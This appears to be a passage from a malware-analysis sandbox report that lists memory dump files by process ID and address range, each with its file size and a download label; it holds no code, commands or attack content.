memory/4040-126-0x0000000004E90000-0x0000000004F1C000-memory.dmp

Filesize
560KB

Download
memory/4040-124-0x00000000028D0000-0x00000000028D8000-memory.dmp

Filesize
32KB

Download
memory/4040-125-0x0000000005270000-0x0000000005560000-memory.dmp

Filesize
2.9MB

Download
memory/4040-127-0x0000000004F40000-0x0000000004F62000-memory.dmp

Filesize
136KB

Download
memory/4040-128-0x0000000004F70000-0x000000000511A000-memory.dmp

Filesize
1.7MB

Download
memory/4308-70-0x0000000000250000-0x0000000000568000-memory.dmp

Filesize
3.1MB

Download
memory/4800-395-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-367-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-393-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-404-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-392-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-3044-0x0000000004C50000-0x0000000004CB0000-memory.dmp

Filesize
384KB

Download
memory/4800-3050-0x0000000004CC0000-0x0000000004D0C000-memory.dmp

Filesize
304KB

Download
memory/4800-389-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-387-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-353-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-385-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-348-0x00000000001A0000-0x0000000000290000-memory.dmp

Filesize
960KB

Download
memory/4800-401-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-399-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-349-0x0000000004B60000-0x0000000004C4E000-memory.dmp

Filesize
952KB

Download
memory/4800-383-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-350-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-351-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-355-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-359-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-361-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-363-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-365-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-379-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-381-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-369-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-371-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-373-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-375-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-377-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-357-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4800-397-0x0000000004B60000-0x0000000004C49000-memory.dmp

Filesize
932KB

Download
memory/4836-187-0x0000000004D60000-0x0000000004D8E000-memory.dmp

Filesize
184KB

Download
memory/4836-195-0x0000000004E30000-0x0000000004EBC000-memory.dmp

Filesize
560KB

Download
memory/4836-205-0x0000000005070000-0x000000000521A000-memory.dmp

Filesize
1.7MB

Download
memory/4836-191-0x0000000004D90000-0x0000000004D9A000-memory.dmp

Filesize
40KB

Download
memory/5136-1078-0x0000000005580000-0x0000000005618000-memory.dmp

Filesize
608KB

Download
memory/5136-1077-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/5136-3641-0x0000000005800000-0x000000000582C000-memory.dmp

Filesize
176KB

Download
memory/6312-3775-0x00000000009D0000-0x0000000000EA3000-memory.dmp

Filesize
4.8MB

Download
memory/6312-3836-0x00000000009D0000-0x0000000000EA3000-memory.dmp

Filesize
4.8MB

Download
memory/6724-3834-0x0000000000A80000-0x0000000000A8C000-memory.dmp

Filesize
48KB

Download
memory/7316-3912-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

Filesize
3.3MB

Download
memory/7492-4025-0x000000001B700000-0x000000001B78C000-memory.dmp

Filesize
560KB

Download
memory/7492-3971-0x00000000007A0000-0x0000000000836000-memory.dmp

Filesize
600KB

Download
memory/7492-4021-0x0000000001020000-0x0000000001056000-memory.dmp

Filesize
216KB

Download